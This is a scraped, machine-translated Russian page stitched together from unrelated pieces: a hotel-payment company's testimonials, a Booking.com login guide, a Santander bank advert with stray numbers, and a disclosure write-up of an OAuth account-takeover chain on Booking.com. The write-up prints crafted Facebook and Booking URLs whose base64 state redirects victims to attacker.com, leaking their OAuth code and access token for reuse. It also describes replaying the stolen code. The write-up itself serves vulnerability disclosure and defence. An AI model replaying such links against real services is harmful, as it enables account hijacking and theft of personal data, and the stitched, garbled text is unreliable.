Клиенты Комфорт Букинг
Клиенты Комфорт БукингМы даем возможность отелям, хостелам и санаториям принимать оплаты от гостей по российским картам.
3 000+ клиентов в России
Читать историю успеха Читать историю успехаНаши клиенты
Более 3 000 отелей, апартаментов, санаториев и хостелов уже пользуются нашим эквайрингом
Мы также работаем с туроператорами, горнолыжными курортами, детскими лагерями и другими объектами размещения.
Отзывы наших клиентов
Мы работаем с разными банками-эквайерами — каждый под свою потребность.
Для бухгалтерии можно предоставить отдельный личный кабинет, это удобно. Однозначно рекомендуем коллегам подключать эквайринг от Комфорт Букинга!
Виктория Виноградова,
управляющий бутик-отелем 1852
Эквайринг Комфорт Букинга — это удобство, четкая работа, прозрачность в платежах и документации. Если возникают какие-то сложности или вопросы, служба поддержки отвечает очень оперативно.
Мы довольны сервисом, и даже не рассматриваем другие варианты.
Эльмира Замалетдинова,
управляющий отелями «Гранд Отель Чайковский», «Мойка 5» и «Золотой век»
Удобно, что все документы я вижу в личном кабинете: открываю вкладку «Счета и акты» и скачиваю реестр платежей.
Огромный плюс — участие в Программе кешбэка от Ростуризма и «Мира». Чтобы участвовать, нам нужно было нажать всего лишь одну кнопку. Все остальное сотрудники Комфорт Букинга и команды TravelLine сделали за нас: отправили заявку в Ростуризм, протестировали способы оплаты, подготовили продажи с сайта к акции и отчитались о бронях с платежной системой «Мир» после завершения Программы.
Рычкова Ирина,
главный бухгалтер отеля «Матисов домик», Санкт-Петербург
Оставьте отзыв о сотрудничестве с нами
Нам важно, что вы думаете о результатах работы Comfort Booking. Ваши отзывы помогают нам понять, в каком направлении развивать наши продукты, чтобы быть еще полезнее для вас.
Мы используем файлы cookie. Продолжив работу с сайтом, вы соглашаетесь с Политикой обработки персональных данных.
Подать заявку на подключение к Comfort Booking
Оставьте свои контакты и наши менеджеры проконсультируют вас по всем вариантам услуг, а также помогут подключить систему оплаты в течение 48 часов.
Ваше имяЗаполните поле
Номер телефонаПроверьте введенный телефон
Ваш EmailНеверный формат электронной почты
Название организацииЗаполните поле
Название объекта размещенияЗаполните поле
Город объекта размещенияЗаполните поле
Я принимаю условия Политики в отношении обработки персональных данныхНужно принять условия
Запросить индивидуальную консультацию
Оставьте свои контакты и наши менеджеры свяжутся с вами в ближайшее время.
Заполните поле
Номер телефонаЗаполните поле
Ваш EmailНеверный формат электронной почты
Я принимаю условия Политики в отношении обработки персональных данныхНужно принять условия
Оставить отзыв
Спасибо, что выбрали нас! Нам важно знать насколько наши клиенты довольны нашим сервисом!
Ваше имяЗаполните поле
Номер телефонаПроверьте введенный email
Ваш EmailНеверный формат электронной почты
Я представитель объекта размещения Я гость оплативший проживание в отеле Название объекта размещенияЗаполните поле
Ваш отзывЗаполните поле
Я принимаю условия Политики в отношении обработки персональных данныхНужно принять условия
Предложить сотрудничество
Мы готовы рассмотреть варианты сотрудничества и предложить решения. Заполните данные ниже и мы свяжемся с вами в ближайшее время.
Ваше имяЗаполните поле
Номер телефонаЗаполните поле
Ваш EmailНеверный формат электронной почты
Расскажите о вашем предложенииЗаполните поле
Я принимаю условия Политики в отношении обработки персональных данныхНужно принять условия
Booking — личный кабинет — вход, официальный сайт
0 0 | Отзывы (0) Booking личный кабинет 2230 Вход в личный кабинет интернет-магазина Booking (Букинг) по номеру мобильного телефона или email и паролю. Регистрация личного кабинета на официальном сайте.актуализация информации 13.07.2023
На этой странице можно посмотреть как войти в личный кабинет или зарегистрироваться на официальном сайте Booking. Здесь также можно найти справочную информацию о компании, ссылки на популярные страницы и контактные данные сервиса бронирования отелей.
Официальный сайт: | https://booking.com |
---|---|
Телефон горячей линии: | +7-499-271-87-36 |
Как зарегистрировать личный кабинет?
- Перейдите на официальный сайт интернет-сервиса Букинг по ссылке https://booking.com.
- При входе с компьютера в правом верхнем углу экрана нажмите на кнопку «Зарегистрироваться», а при использовании мобильного телефона нажмите на кнопку с человеческим силуэтом (рядом с кнопкой «Меню» в правом верхнем углу).
- В форме для регистрации введите адрес электронной почты.
- На почту поступит сообщение со ссылкой для входа в личный кабинет интернет-сервиса Booking.
- Также войти в личный кабинет Booking можно через Facebook, аккаунт Google и Apple.
При возникновении вопросов или проблем с авторизацией свяжитесь со специалистами службы поддержки Booking по телефону горячей линии или напишите в чат.
Особенности интернет-сервиса и личного кабинета
- Комфортный в использовании личный кабинет;
- быстрое бронирование в личном кабинете;
- низкие цены и частые скидки;
- огромный выбор вариантов проживания;
- программа привилегий, сезонных акций и специальных предложений для постоянных клиентов;
- удобное мобильное приложение, доступное как в AppStore, так и Google Play.
Личный кабинет в мобильном приложении
Мобильное приложение для Android |
Мобильное приложение для iOS |
Контакты
Телефон | +7-499-271-87-36 |
Электронная почта | [email protected] |
Юридический адрес | Herengracht 597, 1017 CE Амстердам, Нидерланды |
Социальные сети
https://ru-ru. facebook.com/bookingcom | |
https://instagram.com/bookingcom | |
YouTube | https://www.youtube.com/channel/booking |
https://twitter.com/bookingcom |
Похожие личные кабинеты
PlayToday — личный кабинет Подробнее Цвет Диванов личный кабинет Подробнее Skyeng — личный кабинет Подробнее Напишем личный кабинет ПодробнееБанковский счет в Интернете | Персональный банкинг | Santander Bank
Банковский счет в Интернете | Персональный банкинг | Банк Сантандер — Сантандер
Получайте последние новости о нашей реакции на COVID-19 и обновлении часов работы отделений и услугЛучшие финансовые инструменты и советы для любых нужд.
Простой и безопасный персональный банкинг, доступный лично, через Интернет или на вашем устройстве.
Банк помощи людям
Получите необходимые средства быстро
Финансируйте необходимые ремонтные работы, чрезвычайные ситуации или консолидируйте долги с нашими конкурентоспособными ставками, гибкими условиями и отсутствием обязательного залога.
Простое онлайн-приложение
Пройдите предварительную квалификацию на месте, это не повлияет на ваш кредитный рейтинг. Проверьте свой тариф с EZ Подать заявку.
Сберегательные счета
Если вы хотите накопить на черный день или у вас есть конкретная цель сбережений, мы делаем ваши сбережения легкими и удобными.
Начало работы
Проверка счетов
Выберите один из множества вариантов: от ежедневной проверки до нашего самого эксклюзивного расчетного счета с премиальными преимуществами.
Начало работы
Теперь вы можете подать заявку на жилищный кредит с Ракетная ипотека®
Мы гордимся тем, что объединились с лидером отрасли в области ипотечных кредитов, чтобы предложить вам простые ипотечные решения.
Карта Santander® Ultimate Cash Back®
Получайте больше кэшбэка за покупки, будь то вы покупаете продукты, заправляетесь бензином или просто лечишь себя.
Инвестируйте с уверенностью
Santander Investment Services* предлагает широкий спектр решений, которые помогут вам установить инвестиционные цели и инструменты, необходимые для их достижения. Выберите между традиционным инвестированием с помощью финансового консультанта или автоматизированным инвестированием с нашим новым роботом-консультантом Santander .® Навигатор .
Запишитесь на прием в ближайшее к вам отделение
Поговорите с одним из наших опытных банкиров об открытии нового счета или получите помощь с вашими существующими счетами.
Связаться с банкиром
Вносите депозиты мобильными чеками, настраивайте оповещения, управляйте картами и т. д. — все это в приложении Santander Mobile Banking. Это самый простой и безопасный способ управлять своими деньгами на ходу.
Загрузите наше приложение с высоким рейтингом
Начните с одного из наших руководств по мобильным приложениям:
Отсканируйте QR-код, чтобы открыть приложение.
Мобильный и онлайн-банкинг с Santander PRO TECH TION защищает вашу информацию с помощью нескольких технологических уровней.
Узнать больше
Santander® Private Client
На шаг выше в банковском деле℠
Позвольте нашему специалисту по работе с клиентами персонализировать ваш банковский опыт.
Узнать больше
Копить
Как ставить финансовые цели
Основной долг
7 выплат по долгам, которые максимально улучшат вашу кредитную историю
live life
Предотвращение мошенничества: 6 способов защитить себя 0005 Найдите нас
отделений на северо-востоке и в Майами, штат Флорида, плюс более 2000 банкоматов.
По мере изменения ситуации с COVID-19 мы поддерживаем наших клиентов и сообщества, где можем, обновляя наши услуги и часы работы отделений. Мы будем продолжать следовать рекомендациям по социальному дистанцированию, чтобы снизить риск как для наших клиентов, так и для сотрудников.
Электронный банкинг доступен для удобного доступа к вашему счету в любое время. Войдите в онлайн-банкинг или воспользуйтесь нашим мобильным банковским приложением для удобного банковского обслуживания из любого места. Если вы предпочитаете посетить филиал, воспользуйтесь нашим локатором филиалов, чтобы узнать наиболее актуальные часы работы, и запишитесь на прием для дополнительного удобства.
*Ценные бумаги и консультационные услуги предлагаются через Santander Investment Services, подразделение Santander Securities LLC. Santander Securities LLC является зарегистрированным брокером-дилером, членом FINRA и SIPC, а также зарегистрированным инвестиционным консультантом. Страхование предлагается через Santander Securities LLC или ее филиалы. Santander Investment Services является филиалом Santander Bank, N.A.
Santander Securities LLC Зарегистрированные в США представители могут вести дела только с резидентами штатов, в которых они зарегистрированы надлежащим образом. Обратите внимание, что не все инвестиции и услуги, упомянутые на этом веб-сайте, доступны в каждом штате.
ИНВЕСТИЦИОННЫЕ И СТРАХОВЫЕ ПРОДУКТЫ: | |||||
НЕ ЗАСТРАХОВАННЫЕ FDIC | 90 026 НЕ БАНКОВСКАЯ ГАРАНТИЯ | МОЖЕТ ПОТЕРЯТЬ СТОИМОСТЬ | |||
НЕ ЗАСТРАХОВАН ЛЮБЫМ ФЕДЕРАЛЬНЫМ ГОСУДАРСТВЕННЫМ АГЕНТСТВОМ | НЕ БАНКОВСКИЙ ДЕПОЗИТ |
соляных лабораторий | Путешествие с OAuth
OAuth (открытая авторизация) — это современный открытый стандарт авторизации, разработанный для обеспечения делегирования доступа между приложениями, например позволяя вашему приложению считывать данные из вашего профиля Facebook. В сочетании с соответствующими расширениями OAuth также можно использовать для аутентификации — например, для входа в ваше приложение с использованием учетных данных Google.
С момента своего первого появления в 2006 году протокол OAuth приобрел огромную популярность. Недавние исследования показывают, что около 90% пользователей предпочитают вход через социальные сети традиционной регистрации по электронной почте на веб-сайтах. Учитывая широкое распространение OAuth, любые уязвимости, обнаруженные в его компонентах или их реализациях, могут привести к значительному влиянию на безопасность использующих их приложений и сервисов.
Этот пост является первым в серии, предназначенной для подробного описания этих проблем с подробными техническими подробностями, а также для обмена реальными примерами использования с указанием этих ошибок и их потенциального влияния. В этом первом посте мы описываем проблему реализации OAuth, которую исследователи Salt Labs смогли найти в Booking. com, компании с годовым доходом в 16 миллиардов долларов.
Что касается проблем OAuth, которые мы обнаружили, если бы злоумышленник обнаружил и успешно воспользовался ими, этот злоумышленник мог бы завладеть учетными записями пользователей, которые входят в систему через Facebook. После входа в систему злоумышленник мог выполнить любое действие от имени скомпрометированных пользователей и получить полный доступ к учетной записи, включая всю личную информацию пользователя. Наше исследование показало, что злоумышленники могут затем использовать скомпрометированный логин booking.com, чтобы также войти в дочернюю компанию Kayak.com.
Все проблемы, описанные в этом посте, были раскрыты Booking.com, и компания очень быстро отреагировала на их устранение. Пользуясь случаем, хотим поблагодарить Booking.com за профессиональный подход и сотрудничество с Salt Labs в этом вопросе. Booking.com предоставил следующий комментарий:
«Получив отчет от Salt Security, наши команды немедленно изучили результаты и установили, что платформа Booking. com не была взломана, и уязвимость была быстро устранена. Мы принимаем мы очень серьезно относимся к защите данных клиентов. Мы не только обрабатываем все личные данные в соответствии с самыми высокими международными стандартами, но и постоянно совершенствуем наши процессы и системы для обеспечения оптимальной безопасности на нашей платформе, оценивая и улучшая надежные меры безопасности, которые мы В рамках этого обязательства мы приветствуем сотрудничество с глобальным сообществом безопасности и наши Bug Bounty Program следует использовать в таких случаях.»
В следующем коротком видео представлен наглядный обзор того, как исследователи Salt Labs смогли взломать процесс входа в систему OAuth.
Давайте углубимся в детали
Что такое OAuth?
OAuth 2. 0 — это широко используемая платформа, которая позволяет пользователям разрешать сторонним приложениям доступ к своим ресурсам, не сообщая свои пароли. Например, вы можете разрешить Slack получать доступ к вашему календарю Google, чтобы ваши коллеги могли видеть, когда вы на собраниях.
Первоначально OAuth не предназначался для использования в качестве платформы аутентификации, но он стал широко используемым механизмом аутентификации для пользователей с функцией входа через социальные сети — параметр «войти в систему с помощью Google/Facebook», который вы видите на сайтах и в приложениях. . Многие веб-сайты и приложения электронной коммерции используют OAuth, например, чтобы позволить пользователям аутентифицировать свою учетную запись и совершать покупки без необходимости вводить свои учетные данные несколько раз.
Возможно, вы слышали о «подключении OpenID» для аутентификации — это аналогичная концепция, основанная на OAuth.
Нарушение безопасности OAuth может привести к краже личных данных, финансовому мошенничеству и доступу ко всем видам личной информации, включая номера кредитных карт, личные сообщения, медицинские записи и многое другое. В прошлом году многие интересные блоги описывали захват учетных записей в потоках входа OAuth, например «Грязные танцы» Франса Розена и блог Юссефа Саммуда, результаты которого принесли ему награду в размере 44 625 долларов от Facebook. Эти и другие блоги содержат ценную информацию о внутренней работе OAuth и потенциальных рисках, связанных с ним.
Как OAuth работает для аутентификации?
Давайте начнем с простой нетехнической диаграммы:
Давайте объясним шаги, один за другим:
1. Вы вводите Randomsite.com и нажимаете «Войти через Facebook».
2. Randomsite.com откроет новое окно Facebook.
3. Если вы впервые на Randomsite.com , Facebook попросит вас дать разрешение. В противном случае Facebook автоматически аутентифицирует вас.
4. После того, как вы нажмете «Продолжить как Джон», Facebook сгенерирует секретный токен. Этот токен является частным для Randomsite.com и связан с вашим профилем Facebook.
5. Facebook перенаправляет вас обратно на Randomsite.com с этим токеном.
6. Randomsite.com использует токен для прямого общения с Facebook, чтобы получить ваш адрес электронной почты.
7. Facebook подтверждает, что это действительно [email protected], и Randomsite.com может войти в систему.
А теперь давайте углубимся в подробности, добавив URL-адреса на диаграмму:
В шагах 2-3:
новое окно по следующему адресу:
https://www.facebook.com/v3.0/dialog/oauth? redirect_uri=https://randomsite.com/OAuth &scope=email&client_id=1501&state=[random_value]&response_type=токен .
Обратите внимание на параметр redirect_uri — он сообщает Facebook, куда отправлять токен на шагах 4–5.
В шагах 4-5:
Facebook подготавливает секретный токен для Randomsite.com (параметр client_id сообщает facebook, что запрос исходит от randomsite. com) и перенаправляет ваш браузер обратно на redirect_uri . Точное перенаправление:
https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]
В шагах 6-7:
Randomsite.com считывает токен из URL-адреса и использует его для прямого общения с Facebook с помощью следующего API:
https://graph.facebook.com/me? fields=id,name,email&access_token=[secret_token] .
Ответ: [email protected].
Поток в этом примере называется «неявный тип предоставления», который распространен в одностраничных приложениях и собственных настольных приложениях, не имеющих серверной части. Хотя я мог бы использовать пример без серверной части (без Randomsite.com), я решил объединить неявный тип предоставления с серверной частью, потому что его легче понять.
Google, Apple и другие известные поставщики следуют тому же принципу. Более новый метод использует преимущества функции PostMessage вместо перенаправления, но мы не рассматриваем этот вариант использования в этом посте. Использование перенаправления по-прежнему является наиболее распространенным подходом.
Реализация OAuth на Booking.com
Почему Booking.com
Booking.com, входящая в состав Booking Holdings, компании из списка Fortune 500, является одной из самых популярных и широко используемых платформ бронирования отелей. В компании работает более 15 000 сотрудников, а годовой доход составляет 16 миллиардов долларов.
Будучи счастливым клиентом Booking.com, я много раз использовал эту платформу для бронирования отпуска. Как исследователь безопасности, я хотел взглянуть на реализацию OAuth до того, как это сделает злонамеренный хакер.
Как OAuth работает в Booking.com
Процесс очень похож на пример с Randomsite.com, за исключением того, что он включает один новый шаг, который мы отметили красным:
Шаг 1: В Booking.com вы нажимаете в разделе «Войти через Facebook».
Шаги 2-3:
При бронировании открывается следующая ссылка: https://www. facebook.com/v3.0/dialog/oauth? redirect_uri=https://account.booking.com/social/result/facebook &scope=email&client_id=210068525731476&state=[large_object]& response_type=code 90 028 .
Обратите внимание, что тип ответа — это код, а не токен, как мы видели в примере с Randomsite.com.
Код — это временное значение, которое следует обменять на токен. Это добавляет дополнительный уровень безопасности, как я объясню в шагах 6-7.
Шаги 4-5:
Facebook аутентифицирует вас и перенаправляет обратно на booking.com с кодом .
https://account.booking.com/social/result/facebook?code={code}&state=[large_object]
Обратите внимание, что код был передан на account.booking.com в параметре запроса ( code=) вместо фрагмента хеша ( # token=) как в примере Randomsite.com. Мы объясним больше по этому вопросу позже.
Шаги 6-7:
Чтобы получить токен, booking.com необходимо обменять код на токен, используя следующий API Facebook:
(из официальной документации Facebook)Этот шаг может быть выполнен только Booking.com, поскольку это связано с {app-secret}, известным только Booking.com. Код является одноразовым – то есть его можно обменять только один раз. Такой подход более безопасен — если злоумышленник украдет код, его практически невозможно использовать.
Шаги 8–9:
Как мы видели на Randomsite.com, Booking.com использует API Facebook для получения информации о вас, например, вашего адреса электронной почты. Если у Booking.com есть учетная запись, использующая этот адрес электронной почты, Booking подписывает вас в этой существующей учетной записи.
Этот поток, распространенный почти на каждом современном сайте, называется «Предоставление кода авторизации» или «Явный поток OAuth».
Захват аккаунта на Booking.
comВ OAuth цель злоумышленника — украсть токен или код жертвы. В случае с Booking в центре внимания находится код. Моя общая методология в исследовании OAuth заключается в том, чтобы вызвать неожиданное поведение потока, изменив каждый параметр, который я могу, чтобы увидеть, как эти манипуляции продвигают меня к способности запустить успешную атаку.
Мне удалось связать воедино три различных проблемы безопасности, которые я подробно объясню, чтобы обеспечить полный захват аккаунта на Booking.com.
Пробел в системе безопасности 1 — невозможность использования уникального пути
Путем манипулирования несколькими шагами в последовательности OAuth для этого сайта я смог получить полезную информацию и начать путь манипулирования.
В обычном режиме, как я объяснял ранее, когда пользователь нажимает «Войти через Facebook», Booking перенаправляет пользователя на следующую ссылку в Facebook: https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account. booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code .
На шаге 1 я изменил redirect_uri на другой путь и отправил жертве эту ссылку:
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account .booking.com/any/path/an/attacker/wants&scope=email&client_id=210068525731476&state=[large_object]&response_type=code .
Обратите внимание, что мы не можем изменить источник ( account.booking.com ), потому что Facebook выдаст ошибку — он не соответствует предварительно определенному источнику, предоставленному Booking.com.
Когда Booking.com зарегистрировался в Facebook, они указали предопределенное происхождение для redirect_uri, но не указали точный путь. Поэтому Facebook может проверить только источник, прежде чем произойдет перенаправление.
Шаг 4: Эта ссылка перенаправит жертву на:
https://account.booking.com/any/path/an/attacker/wants?code=[secret_code]?state=[large_object]
Мы можем отправить код по любому желаемому пути , поэтому теперь мы ищем способ отправить код в другой источник/домен, который мы контролируем.
Брешь в безопасности 2 — открытое перенаправление
В этот момент мне нужен был путь на booking.com, который бы перенаправлял жертву на мой контролируемый домен. Это определение открытой уязвимости перенаправления.
Я начинаю изучать возможности Booking.com и нахожу интересную вещь в «Моей панели»:
Нажатие на «добавить отображаемое имя» указывает на следующий URL-адрес:
https://account.booking.com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account. бронирование. 005 Этот URL-адрес автоматически перенаправляет пользователя на: https://account.booking.com/mysettings/personal . Вы можете догадаться, как? Сразу замечаю, что переменная state содержит json-строку base64: eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9 . Давайте расшифруем это: Похоже, Booking использует mysettings_path, чтобы определить, как перенаправить пользователя. Закодируем следующий Json: Получили eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ Заменяем состояние в исходной ссылке и отправить жертве новую ссылку: https://account.booking.com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiO iJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ Ссылка автоматически перенаправляет жертву на более короткую ссылку (раньше я ее пропускал): https://account.booking.com/settings/oauth_callback?state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&code=not_important_123 А затем на: https://attacker.com/index.php видели слово «OAuth» или «redirect_uri» в открытой ссылке перенаправления. Я предполагаю, что это внутренняя реализация OAuth в Booking. com. Это не связано с Facebook или с redirect_uri из пробела в безопасности 1. Теперь у нас есть открытая ошибка перенаправления в booking.com. Ссылка на Facebook из пробела в безопасности 1 (куда мы можем отправить код по любому пути): https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https:/ /account.booking.com/ любой/путь/мы/хотим &scope=email&client_id=210068525731476&state=large_object]&response_type=code + 9 0029 Открытая ссылка перенаправления из бреши безопасности 2 (перенаправление на www.attacker.com ) это: https://account.booking.com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3 BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ = Вставим открытую ссылку перенаправления в redirect_uri из пробела безопасности 1: https://www. facebook.com/v3.0/dialog/oauth?redirect_uri= https://account.booking.com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiO iJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ &scope=email&response_type=code&client_id=210068525731476 Мы отправляем эту ссылку жертве. Если жертва нажимает на ссылку как на нее, Facebook перенаправляет пользователя на URL-адрес из пробела в безопасности 2 с кодом: https://account.booking.com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiO iJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&code=[ secret_code] Это URL с открытым перенаправлением (состояние eyJteXN… указывает на атакующий. com), поэтому Booking перенаправляет жертву на: https://attacker.com/index.php . Однако при перенаправлении браузер передает только значения после «#» (фрагменты хеша). Код, переданный в параметре запроса (?=code=), не был отправлен на атакующий.com (не отображается в перенаправлении на https://attacker.com/index.php). Путем изменения типа ответа с «код» на «код, токен». Facebook отправит и код, и токен в хеш-фрагменте . Это фича 🙂 Причина: поскольку токен доступа является сверхчувствительным значением в OAuth, использование хеш-фрагмента является более безопасным подходом. Он не отправляется на сервер и не отображается в логах — его может прочитать только код javascript. (Для получения дополнительной информации об этой детали вы можете поискать в Google «неявное предоставление OAuth».) Шаг 1: Злоумышленник отправляет жертве следующую ссылку: https://www.facebook. com/v3.0/dialog/oauth?redirect_uri=https://account.booking. com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9 pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code,token&client_id=210068525731476 Шаги 2 и 3: После того, как жертва нажимает на новую ссылку (с типом ответа = код, токен), Facebook автоматически перенаправляет пользователя на URL-адрес из пробела в безопасности 2 с кодом в хэш-фрагменте : https://account.booking.com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgi OiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ#code =[secret_code]&access_token=[токен] Шаги 4 и 5: Это URL с открытым перенаправлением (состояние указывает на атакующий. com), поэтому Booking перенаправляет жертву на: https://attacker.com/index.php Шаг 6: Браузер добавляет код к хеш-фрагменту и перенаправляет жертву на: https://attacker.com/index.php#code=[secret_code]&access_token=[token] Необязательно: Давайте посмотрим исходный код Attacker.com/index.php: Index.php — код javascript, который считывает URL-адрес и отправляет его в save.php. Save.php — сохранить входные данные в файл журнала. (код был сгенерирован с помощью sanppify.com) На данный момент у нас есть код жертвы. Нам (как злоумышленнику) нужно запустить новый поток входа и заменить наш код кодом жертвы. Нажимаем еще раз «войти через Facebook» и входим под своей учетной записью. В обычном потоке, после того, как Facebook аутентифицирует нас, он перенаправляет нас на бронирование с нашим кодом: https://account. booking.com/social/result/facebook?code={our_code}&state=[large_object] Мы перехватываем этот запрос. Заменяем код на украденный код жертвы: https://account.booking.com/social/result/facebook?code={victim_code}&state=[large_object] Booking.com должен обменять код для токена и получить информацию о профиле жертвы. Что возвращается? Подождите… «Неверный код» Ничего не происходит. Что я пропустил? Из документации Facebook, чтобы обмениваться кодом с токеном, Booking.com в бэкенде должен использовать этот API: В документации Facebook пишет: «Этот аргумент (redirect_uri) должен быть таким же, как original , который вы использовали при запуске процесса входа в систему OAuth». Мы начали процесс входа в систему OAuth по этой ссылке: https://www.facebook. com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https:/ /account.booking.com/settings/oauth_callback;response_type=code;state= eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ 900 28 &scope=email&response_type=token,code&client_id=210068525731476 В данном случае оригинал redirect_uri отмечен фиолетовым цветом. Эта ссылка является открытой ссылкой перенаправления из пробела в безопасности 2. Однако в бэкенде, когда Booking обменивает код на токен с помощью API /oauth/access_token , он отправляет Facebook жестко запрограммированное значение « https://account.booking.com/social/result/facebook » в качестве redirect_uri. Это redirect_uri, который букинг использует в обычном потоке. В том же потоке OAuth Facebook получил два разных redirect_uri, что стало подозрительным, и поэтому выдало ошибку. На данный момент я не смог найти решение в Интернете, поэтому решил изучить мобильное приложение Booking.com. Я использовал студию Android, Frida (чтобы обойти закрепление SSL) и декомпилятор, чтобы прочитать код, отвечающий за OAuth в этом приложении. Для перехвата запроса между мобильным приложением и бэкендом Booking.com я использовал Burp. Схема обменов в мобильном приложении немного сбивает с толку — можно ориентироваться только на Шаг 6: Процесс OAuth в мобильном приложении имеет одно существенное отличие от потока на веб-сайте — шаг 6. Шаги с 3 по 6: код был передан в мобильное приложение, а затем мобильное приложение отправило его на Booking.com . Точнее, код был передан в Chrome->Booking.com->MobileApp->Booking.com Не знаю, зачем нужен этот пинг-понг. Шаг 6. Мобильное приложение передает код Booking.com с помощью почтового запроса: Обратите внимание на resultUri. Можете ли вы догадаться, что Booking делает с этим? Если Booking.com использует resultURi в качестве redirect_uri для обмена кодом с токеном, и мы можем контролировать это значение, то мы можем обойти проверку Facebook. Исходный redirect_uri, который мы использовали для атаки: https://account.booking.com/oauth3/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/ настройки/oauth_callback;response_type=код;состояние= eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ Подводя итог, мы, как злоумышленник, должны : Мы отправляем запрос на Booking.com и… игра окончена. Мы можем войти в аккаунт жертвы. (На видео злоумышленник использует Mac для атаки, жертва использует Windows.) (Примечание. В бреши безопасности 2 у меня было две ссылки, которые вызвали перенаправление. В видео я использовал короче ссылка.) Мы создали ссылку, которая перехватывает любой аккаунт на Booking.com, использующий Facebook. Сама ссылка указывает на законный домен facebook.com или booking.com, что затрудняет ее обнаружение (вручную или автоматически). Следующим шагом является проверка влияния на другие сайты Booking, такие как Kayak.com, и на другие методы входа, такие как Google. Это функция. Если у нас есть доступ к учетной записи жертвы на Booking. com, у нас также должен быть доступ к kayak.com, который позволяет пользователям идентифицировать себя с помощью своей учетной записи на Booking.com. Мы проверили эту теорию, и она сработала. Уязвимость находится в интеграции между Facebook и Booking.com. Однако можно войти в учетную запись Booking.com с помощью Facebook, даже если эта учетная запись была создана с помощью Google или другого метода входа. . Чтобы проверить это, мы отправили ссылку пользователю , который прошел аутентификацию в Google . Во время эксплойта Facebook попросил (весьма законно, у жертвы нет причин подозревать) разрешить доступ к Booking.com, после чего код был передан на наш домен. Поскольку код жертвы связан с адресом электронной почты жертвы, Booking.com считывает адрес электронной почты из кода (/токен) и подключает пользователя к соответствующему аккаунту, у которого есть этот адрес электронной почты. Эта неправильная конфигурация OAuth оказывает значительное влияние как на компанию, так и на ее клиентов. Злоумышленник потенциально может делать несанкционированные запросы от имени жертвы, отменять существующие бронирования или получать доступ к конфиденциальной личной информации, такой как история бронирований, личные предпочтения и будущие бронирования. Сайт также поддерживает возможность арендовать автомобили или заказать такси. Уязвимость, описанная в этом документе, представляет собой комбинацию трех незначительных пробелов в системе безопасности. Основное внимание уделяется первому пробелу в безопасности, который позволяет злоумышленнику выбрать другой путь для redirect_uri. Когда вы выполняете интеграцию с Facebook или другим поставщиком, крайне важно указать жестко закодированные пути для redirect_uri в конфигурации Facebook. Как вы видели в документе, одного происхождения недостаточно. Уязвимость 3 также связана с redirect_uri. Это значение не следует брать из пользовательского ввода. Уязвимости системы безопасности могут возникнуть на любом веб-сайте, и ответ на них имеет значение. Мы сообщили обо всем Booking.com, и команда смогла очень быстро устранить эти пробелы в безопасности. Мы были довольны приверженностью Booking.com к безопасности и готовностью компании принять быстрые меры для защиты личной информации своих пользователей. Устранив проблему, Booking.com, возможно, предотвратил нарушение безопасности со стороны злонамеренных хакеров. Мы проработали следующую временную шкалу в этом скоординированном процессе раскрытия информации. Еще раз благодарим Booking.com за столь быстрые действия по устранению этих критических уязвимостей. Брешь в системе безопасности 1 + 2 = попытка захвата учетной записи
Изменение типа ответа
Сводка потока:
Попытка захвата аккаунта 1
Отладка ошибки захвата учетной записи — что мы пропустили?
Поиск пробела в безопасности 3
Что дальше?
Захват аккаунта на Kayak.com
Вход с помощью Google
Потенциальное влияние на бизнес
Как уменьшить эту угрозу:
Booking.com – Быстрое исправление
Хронология раскрытия информации